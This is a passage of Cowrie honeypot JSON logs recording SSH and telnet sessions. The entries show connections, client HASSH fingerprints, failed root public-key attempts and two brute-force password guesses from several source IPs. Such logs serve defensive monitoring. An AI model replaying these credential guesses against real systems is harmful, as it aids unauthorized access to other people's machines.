14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:23.055188Z","src_ip":"23.237.108.178","session":"2c2de510dd01","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:08:56:7a:cb:0a:24:af:33:58:b5:88:31:b3:50:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDABAVADmfS8bb4Y41tWi1A4l+CVNgI0Ome7DKP7lgofDnJOXdeb6DREER+HakgucZXVHPUcHxothcTFOf89oEZ7AAxwmYHs88XOt0Rzqvrt10kYjCWwO8SEGAgWc5o/WvoNnL6ZLy42y49Y2H83n2HhWi0cq5IVifSYYs9Dhx0YhVxqTwAW6fTRteJnwCiQnJyELRsHKfjh28jW6TaYJFqa2j0DKWDLX+t1BcCDkU5Vg3MVx27KnvPUBjMQxeGwS3Df41PACrGpnaTCJgs368nMGeCUlAtun4o3eE0dmSpPo2c2GmnO60YMJq/O8/9E9vPDOsixebm6gviA85o1ZVJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4d:08:56:7a:cb:0a:24:af:33:58:b5:88:31:b3:50:99","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:23.355902Z","src_ip":"23.237.108.178","session":"2c2de510dd01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:08:56:7a:cb:0a:24:af:33:58:b5:88:31:b3:50:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDABAVADmfS8bb4Y41tWi1A4l+CVNgI0Ome7DKP7lgofDnJOXdeb6DREER+HakgucZXVHPUcHxothcTFOf89oEZ7AAxwmYHs88XOt0Rzqvrt10kYjCWwO8SEGAgWc5o/WvoNnL6ZLy42y49Y2H83n2HhWi0cq5IVifSYYs9Dhx0YhVxqTwAW6fTRteJnwCiQnJyELRsHKfjh28jW6TaYJFqa2j0DKWDLX+t1BcCDkU5Vg3MVx27KnvPUBjMQxeGwS3Df41PACrGpnaTCJgs368nMGeCUlAtun4o3eE0dmSpPo2c2GmnO60YMJq/O8/9E9vPDOsixebm6gviA85o1ZVJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:23.361186Z","src_ip":"23.237.108.178","session":"2c2de510dd01","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"be:e9:f2:32:76:ff:8c:3d:3b:95:44:c2:18:98:f3:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDje7cfTYUN08e3ElAVRpnfqfQogtdeLpKy3u9ypxmSvYvFCGLbGU6YR/LzkZiIiQH54dmG8AzWY/SPA4KT/PGJsAABTnaamSgqWP5zyNnVyHhu9532TR+HVuU4y3A07gcw8M16gEAp4Za3VyGrRiCuxg4qJuCFXKxjyd9GSY3kc0bnmpqZxJdIDZ8I/fII9PsJngiaUkl/9EqvHcObc+/syllIhWBJP2OC0ZHkGCjQgH6XMLoqVLvNq/lqScIxYcz8CBcYewyNw6DomUkoz67WblU46W4j111qXGn0woGGES6QPZ989DysHMrIZlp0xPfGVHEvPIgr0inEV8ETCmjp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint be:e9:f2:32:76:ff:8c:3d:3b:95:44:c2:18:98:f3:20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:23.427337Z","src_ip":"23.237.108.178","session":"2c2de510dd01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"be:e9:f2:32:76:ff:8c:3d:3b:95:44:c2:18:98:f3:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDje7cfTYUN08e3ElAVRpnfqfQogtdeLpKy3u9ypxmSvYvFCGLbGU6YR/LzkZiIiQH54dmG8AzWY/SPA4KT/PGJsAABTnaamSgqWP5zyNnVyHhu9532TR+HVuU4y3A07gcw8M16gEAp4Za3VyGrRiCuxg4qJuCFXKxjyd9GSY3kc0bnmpqZxJdIDZ8I/fII9PsJngiaUkl/9EqvHcObc+/syllIhWBJP2OC0ZHkGCjQgH6XMLoqVLvNq/lqScIxYcz8CBcYewyNw6DomUkoz67WblU46W4j111qXGn0woGGES6QPZ989DysHMrIZlp0xPfGVHEvPIgr0inEV8ETCmjp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:23.435211Z","src_ip":"23.237.108.178","session":"2c2de510dd01","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a4:26:a0:85:33:eb:00:47:45:83:29:99:ec:d8:6b:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC05XEfabel9ohaqZdQmB+PW9AvpCf/Y4sRozVbE4DS4DOAf1h15IVcy2IhBJsKAwhxQxoIamms8ixhfkbxjpyioBaBiXKnWLjKLfWVAaBswknB2RCitfW5IdGqKbQU5NRygjGX3hCRAZO2AhPkVsEQiyR7rERlTnmuMIosNZqJfSMMZAo3R3x3NjZnzA8K54j9yu5XhohffC2Dg7y/CUcWUFZQ95cUktugbrDLh0YUtlLe6Xb8xl0NXw9J05aczwYqJYv0W5+pmBIj7UguqRuTMnpMXwFRNRpToOplFVM08os67MDctBTaGjheo8YYav8EOiQlnSGJkCdUo7BcZznp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a4:26:a0:85:33:eb:00:47:45:83:29:99:ec:d8:6b:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:23.503345Z","src_ip":"23.237.108.178","session":"2c2de510dd01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a4:26:a0:85:33:eb:00:47:45:83:29:99:ec:d8:6b:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC05XEfabel9ohaqZdQmB+PW9AvpCf/Y4sRozVbE4DS4DOAf1h15IVcy2IhBJsKAwhxQxoIamms8ixhfkbxjpyioBaBiXKnWLjKLfWVAaBswknB2RCitfW5IdGqKbQU5NRygjGX3hCRAZO2AhPkVsEQiyR7rERlTnmuMIosNZqJfSMMZAo3R3x3NjZnzA8K54j9yu5XhohffC2Dg7y/CUcWUFZQ95cUktugbrDLh0YUtlLe6Xb8xl0NXw9J05aczwYqJYv0W5+pmBIj7UguqRuTMnpMXwFRNRpToOplFVM08os67MDctBTaGjheo8YYav8EOiQlnSGJkCdUo7BcZznp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:23.509010Z","src_ip":"23.237.108.178","session":"2c2de510dd01","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"48:0a:43:27:55:86:56:3f:5e:0d:15:67:1e:29:3d:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuJkLzXAjuaI2Y/9j3QLdw3WL3M+7g+PFYUpkm8vsI9kynTrVrzfEu+IgcIt0TTiaovFA7zll2dIwSwSq7qVXQcYTZrtgaTZNBTIH/KaD1CuqezTYOSRHP1USOiaeSHe05ZnNawoar94OAwQzmVReswsDSQHIwnyhydhcMz5odBOWpUJWCymTkfgPMh3yMfOSz7dTYYZAmqBy9+YtUgynhNKCcVHCXYSfVryVv2cr4Gm+1deUIxGB9rSXw2fyOBFbkuB26T+sOufAiX1tqIXtz5SoYyCP1jkIkdH8j766jdmImQsbB7CyzvjueKPYw4mO+LIiZxAvIf1I9njhLI2kUw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 48:0a:43:27:55:86:56:3f:5e:0d:15:67:1e:29:3d:5a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:23.579184Z","src_ip":"23.237.108.178","session":"2c2de510dd01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"48:0a:43:27:55:86:56:3f:5e:0d:15:67:1e:29:3d:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuJkLzXAjuaI2Y/9j3QLdw3WL3M+7g+PFYUpkm8vsI9kynTrVrzfEu+IgcIt0TTiaovFA7zll2dIwSwSq7qVXQcYTZrtgaTZNBTIH/KaD1CuqezTYOSRHP1USOiaeSHe05ZnNawoar94OAwQzmVReswsDSQHIwnyhydhcMz5odBOWpUJWCymTkfgPMh3yMfOSz7dTYYZAmqBy9+YtUgynhNKCcVHCXYSfVryVv2cr4Gm+1deUIxGB9rSXw2fyOBFbkuB26T+sOufAiX1tqIXtz5SoYyCP1jkIkdH8j766jdmImQsbB7CyzvjueKPYw4mO+LIiZxAvIf1I9njhLI2kUw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:23.583649Z","src_ip":"23.237.108.178","session":"2c2de510dd01","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7d:d5:75:27:b7:f4:04:41:94:5e:b8:84:ce:b3:90:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCbm9vTz1o/Bv6Ft7GeieRF21wwV+By90YuwfV/rq1guZ8GtqgUcBHVUXwr6WsYN8a1y9Lo40y6DmudjEN2OUbKGiwHg+e2iextIJnyKEnWdLYNjgHrJuJTkJk5c3jMWOdVI8+5k27nP2dv96PDGC0fk98Olkwugkgzx4YvHooZriihF9FQks0cI0txreSqPTNtirziT2RKvNHXvyOStig9xL6KJkKZLcQzzebFTt+QbbhD9+0GqFkuPqo9K9byVk6YW9EMWiM0yD4f5IjaG9efhqOrBY+gPTafuUuvJfGz9Y5TyR/i2IGAzap5ZECT71SNR2TaTMmlUeiaty8d/vEP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7d:d5:75:27:b7:f4:04:41:94:5e:b8:84:ce:b3:90:9f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:23.652752Z","src_ip":"23.237.108.178","session":"2c2de510dd01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7d:d5:75:27:b7:f4:04:41:94:5e:b8:84:ce:b3:90:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCbm9vTz1o/Bv6Ft7GeieRF21wwV+By90YuwfV/rq1guZ8GtqgUcBHVUXwr6WsYN8a1y9Lo40y6DmudjEN2OUbKGiwHg+e2iextIJnyKEnWdLYNjgHrJuJTkJk5c3jMWOdVI8+5k27nP2dv96PDGC0fk98Olkwugkgzx4YvHooZriihF9FQks0cI0txreSqPTNtirziT2RKvNHXvyOStig9xL6KJkKZLcQzzebFTt+QbbhD9+0GqFkuPqo9K9byVk6YW9EMWiM0yD4f5IjaG9efhqOrBY+gPTafuUuvJfGz9Y5TyR/i2IGAzap5ZECT71SNR2TaTMmlUeiaty8d/vEP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:23.658140Z","src_ip":"23.237.108.178","session":"2c2de510dd01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:23.735249Z","src_ip":"23.237.108.178","session":"2c2de510dd01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.353394746780396,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:23.827113Z","src_ip":"50.6.8.71","session":"5d46959beffa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.68773078918457,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:25.221259Z","src_ip":"50.6.8.71","session":"cdd067f3fa0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":43532,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab04cb4b157f","protocol":"ssh","message":"New connection: 194.113.233.25:43532 (10.17.0.5:22) [session: ab04cb4b157f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:25.620697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:25.626251Z","src_ip":"194.113.233.25","session":"ab04cb4b157f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:25.725438Z","src_ip":"194.113.233.25","session":"ab04cb4b157f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:26.017889Z","src_ip":"194.113.233.25","session":"ab04cb4b157f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:27.122796Z","src_ip":"194.113.233.25","session":"ab04cb4b157f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.210.91.174","src_port":1024,"dst_ip":"159.203.135.109","dst_port":22,"session":"271f3bea2d4f","protocol":"ssh","message":"New connection: 4.210.91.174:1024 (159.203.135.109:22) [session: 271f3bea2d4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:27.545487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:27.551077Z","src_ip":"4.210.91.174","session":"271f3bea2d4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:27.619469Z","src_ip":"4.210.91.174","session":"271f3bea2d4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cannot","message":"login attempt [root/Cannot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:27.921666Z","src_ip":"4.210.91.174","session":"271f3bea2d4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":43354,"dst_ip":"10.17.0.5","dst_port":22,"session":"73c769bdbf66","protocol":"ssh","message":"New connection: 193.228.128.84:43354 (10.17.0.5:22) [session: 73c769bdbf66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:28.955016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:28.959925Z","src_ip":"193.228.128.84","session":"73c769bdbf66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:28.994919Z","src_ip":"4.210.91.174","session":"271f3bea2d4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:29.066770Z","src_ip":"193.228.128.84","session":"73c769bdbf66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.039081573486328,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:29.304491Z","src_ip":"50.6.8.71","session":"721595293919","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:29.378485Z","src_ip":"193.228.128.84","session":"73c769bdbf66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:30.489023Z","src_ip":"193.228.128.84","session":"73c769bdbf66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":51316,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a7f46dfaa20","protocol":"telnet","message":"New connection: 50.6.8.71:51316 (10.17.0.5:23) [session: 2a7f46dfaa20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:33.532657Z"}
{"eventid":"cowrie.session.closed","duration":32.54269480705261,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:39.603899Z","src_ip":"50.6.8.71","session":"b8b62b47a7df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.209096908569336,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:40.171013Z","src_ip":"50.6.8.71","session":"5c359e199b55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.70453143119812,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:42.793635Z","src_ip":"50.6.8.71","session":"25249468d11f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.09777903556824,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:43.840079Z","src_ip":"50.6.8.71","session":"3dd9b170d09f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":51240,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f68ac466851","protocol":"telnet","message":"New connection: 50.6.8.71:51240 (10.17.0.5:23) [session: 2f68ac466851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:47.503736Z"}
{"eventid":"cowrie.session.closed","duration":30.849636793136597,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:52.334660Z","src_ip":"50.6.8.71","session":"e1e8647c124f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":51252,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdd9196c3b4f","protocol":"telnet","message":"New connection: 50.6.8.71:51252 (10.17.0.5:23) [session: bdd9196c3b4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:52.412731Z"}
{"eventid":"cowrie.session.closed","duration":35.64823055267334,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:52.668378Z","src_ip":"50.6.8.71","session":"b9abb81bca83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":51262,"dst_ip":"10.17.0.5","dst_port":23,"session":"848bf1df64a9","protocol":"telnet","message":"New connection: 50.6.8.71:51262 (10.17.0.5:23) [session: 848bf1df64a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:52.674439Z"}
{"eventid":"cowrie.session.closed","duration":44.92554807662964,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:30:56.305648Z","src_ip":"50.6.8.71","session":"d4fb19002318","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":32952,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec99d2207878","protocol":"ssh","message":"New connection: 103.15.222.183:32952 (10.17.0.5:22) [session: ec99d2207878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:31:03.116400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:31:03.122367Z","src_ip":"103.15.222.183","session":"ec99d2207878","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ss